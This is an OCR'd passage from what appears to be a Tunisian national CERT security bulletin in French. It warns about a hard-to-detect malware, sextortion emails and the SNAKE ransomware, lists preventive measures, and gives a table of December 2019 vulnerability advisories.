difficilement détectable par les solutions antivirus. En effet,
il est basé sur le code malveillant « more-eggs » vendu dans
le réseau du darknet et utilise la technique d’anti-accrochage
(anti-hooking) en téléchargeant une copie de la DLL «
NTDLL.DLL » et modifie les adresses des API pour tromper
le suivi des appels aux fonctions réalisé par les antivirus. En
outre, les analyses de ce malware ont révélés qu'il est multi-
stage et que le moyen principal d'infection a été le Phishing.

De ce fait, nous vous conseillons d’étre vigilant et de suivre
les mesures préventives suivantes :

- Vérifier l'authenticité des expéditeurs avant la lecture de
chaque message recu par e-mail ou affiché sur votre mir de
Facebook / Twitter / Instagram et en cas de doute n’y
répondez pas, ne cliquez pas sur les liens hypertextes ou les
images qu’il contient et supprimer le immédiatement.

- Mettre a jour vos systémes d'exploitation ainsi que votre
solution anti-malware.

- Se connecter a Internet via un compte utilisateur limité.

- S’assurer de la fiabilité des sites web visités a 1’aide des
extensions Netcraft et Web Of Trust (WoT).
- Bloquer les annonces publicitaires
I’extension adblockplus

douteuses avec

Source
https://tuncert.ansi.tn/publish/content/news.asp?idn=158

Attention aux emails de type « Spam
Extorsion / Sextortion »

Durant la derniére période, nous avons enregistré un nombre
remarquable des emails frauduleux de type « Spam Extorsion
/ Sextortion ». Cet incident consiste a la réception d'un email
depuis un pirate indiquant qu'il dispose de tous les mots de
passe de sa victime, qu'il a pris le contrdle a distance de son
navigateur web et qu'il 1'a filmé via sa webcam lorsqu'elle a
accédé aux sites web pornographiques. De ce fait, ce pirate
lui demande une somme d'argent (rangon) pour qu'il ne
diffuse pas ses données piratées ainsi que ses vidéos filmées
sur les réseaux sociaux.

Pour s’en protéger, nous vous conseillons d’étre vigilant et
de suivre les mesures préventives suivantes :

- Refuser toute demande d'acte illicite sur Internet.

- Désactiver votre webcam ou toute autre caméra connectée a
Internet lorsque vous n’y avez pas besoin.

- Ne pas répondre aux emails non sollicités demandant vos
informations personnelles numéro CIN, numéro de
passeport, identité bancaire ou mots de passe.

- Ne pas payer la rangon.

N’enregistrer pas vos logins, mots de passe et vos
identifiants bancaires dans les navigateurs web.
- Mettre a jour vos navigateurs web avec les derniéres ver-
sions.
- Installer les extensions « Netcraft » et « adblockplus » dans
votre navigateur web pour vous renseigner sur la fiabilité des
sites web visités et bloquer les annonces publicitaires dou-
teuses.
- Utiliser un compte utilisateur avec des priviléeges limités
pour se connecter a Internet.
- Vérifier l'authenticité des expéditeurs avant la lecture de
chaque message recu par e-mail ou affiché sur votre mir de
Facebook / Twitter / Instagram et en cas de doute n’y
répondez pas, ne cliquez pas sur les liens hypertextes ou les
images qu’il contient et supprimer le immédiatement.

Source
https://tuncert.ansi.tn/publish/content/news.asp?idn=159
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Attention au ransomware « SNAKE »

Ces derniers temps, un nouveau ransomware qui menace les
réseaux des entreprises a été découvert sur le net. Nommé «
SNAKE », ce malware est écrit en Golang (un langage de
programmation compilé et qui a été développé par Google) et
est congu pour fonctionner d’une fagon trés cachée. Avant de
procéder au cryptage des fichiers, SNAKE commence a
supprimer les volumes « Shadow Copies » des systémes
Windows, collecter les informations d'identification des
administrateurs et arréter les divers processus associés aux
systétmes SCADA, aux solutions de gestion de réseau, aux
machines virtuelles et aux solutions anti-malware. Pour se
protéger face a cette menace, nous vous conseillons d’étre

vigilant et de suivre les mesures préventives suivantes :

Sauvegarder réguliérement vos données sensibles sur des

disques durs externes.

Mettre a jour réguliérement votre systéme d’exploitation,
vos navigateurs Web et aussi votre solution anti-malware.

Mettre a jour les logiciels Adobe Flash Player et JAVA
avec les dernieres versions.

Vérifier l'authenticité des expéditeurs avant la lecture de
chaque message recu par e-mail ou affiché sur votre mir de
Facebook / Twitter / Instagram et en cas de doute n’y
répondez pas, ne cliquez pas sur les liens hypertextes ou les
images qu’il contient et supprimer le immédiatement.

Scanner chaque picce jointe recue par votre anti-virus
avant de I’ouvrir.

Scanner périodiquement votre réseau afin de déterminer
les vulnérabilités existantes puis procéder a les corriger en
installant les patchs correctifs depuis leurs sources officielles.

Appliquer des régles de contrdle d’accés rigoureuses a vos
ressources partagées sur votre réseau.

Source
https://tuncert.ansi.tn/publish/content/news.asp?idn=160

Référence Date découverte Titre
tunCERT/Vuln.2019-452 31/12/2019  F5BIG-IP
tunCERT/Vuln.2019-451 27/12/2019 Systémes Linux Ubuntu
tunCERT/Vuln.2019-450 26/12/2019 PHP
tunCERT/Vuln.2019-449 25/12/2019 F5 BIG-IP
tunCERT/Vuln.2019-448 20/12/2019  Produits VMware

—~ tunCERT/Vuln.2019-447 20/12/2019  Apache Tomcat

Eé > tunCERT/Vuln.2019-446 19/12/2019 Microsoft SharePoint

% tunCERT/Vuln.2019-445 19/12/2019  Drupal Core

é tunCERT/Vuln.2019-444 18/12/2019 Joomla!

g tunCERT/Vuln.2019-443 18/12/2019  Google Chrome

4 g tunCERT/Vuln.2019-442 13/12/2019 WordPress

% e tunCERT/Vuln.2019-441 13/12/2019 Librairie libpcap sous Linux Ubuntu

5 § tunCERT/Vuln.2019-439 11/12/2019  Produits Intel

i A tunCERT/Vuln.2019-438 11/12/2019  Microsoft SQL Server

}“-j 3 tunCERT/Vuln.2019-437 11/12/2019  Microsoft: Outils de développement

é 'g tunCERT/Vuln.2019-436 11/12/2019  Noyau des systémes Microsoft Windows

5 g tunCERT/Vuln.2019-435 11/12/2019  Microsoft Office

% % tunCERT/Vuln.2019-434 11/12/2019 Internet Explorer

; § tunCERT/Vuln.2019-433 11/12/2019  Produits Apple

83 tunCERT/VuIn.2019-432 11/12/2019  Google Chrome
tunCERT/Vuln.2019-431 11/12/2019  Adobe Photoshop CC
tunCERT/Vuln.2019-430 11/12/2019  Adobe ColdFusion
tunCERT/Vuln.2019-429 11/12/2019 Adobe Reader et Acrobat
tunCERT/Vuln.2019-426 10/12/2019 Samba
tunCERT/Vuln.2019-425 10/12/2019  OpenSSL
tunCERT/Vuln.2019-424 09/12/2019 Produits VMware
tunCERT/Vuln.2019-423 06/12/2019 OpenBSD
tunCERT/Vuln.2019-422 04/12/2019  Produits Mozilla
tunCERT/Vuln.2019-421 03/12/2019  Google Android
tunCERT/Vuln.2019-420 02/12/2019  Produits Fortinet

Source: https://tuncert.ansi.tn/publish/module/listvulnerabilite.asp
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Agence Nationale de la Sécurité Informatique

Parce que le partage du savoir est la clé de la réussite dans le domaine de la
sécurité_informatique, I'Agence Nationale de la Sécurité Informatique est fiere de vous
annoncer la parution d'une nouvelle rubrique de son magazine mensuel "SAHER
Magazine" intitulée "Cyber-agora".

Cyber-agora sera un espace ouvert aux contributions des professionnels, étudiants et
académiciens évoluant dans le domaine de la sécurité informatique. A ce titre, une
adresse E-mail sera mise a votre disposition pour y envoyer vos articles qui, aprés leur
vérification par les équipes de I'ANSI, seront publiés dans les prochaines éditions de
SAHER Magazine.

Il est a noter que le contenu des articles doit étre unique sachant qu'une vérification anti-
plagiat sera réalisée avant toute publication officielle. Enfin, si l'article est sélectionné, son

auteur serait crédité.

Veuillez nous envoyer vos contributions a cette adresse : sahermag@ansi.tn

9 49 avenue Jean Jaures, 1000 Tunis

‘\\ (+216) 71 846 020

@ ansi@ansi.tn cert-tcc@ansi.tn

incident@ansi.tn audit@ansi.tn
saher@ansi.tn sahermag@ansi.tn
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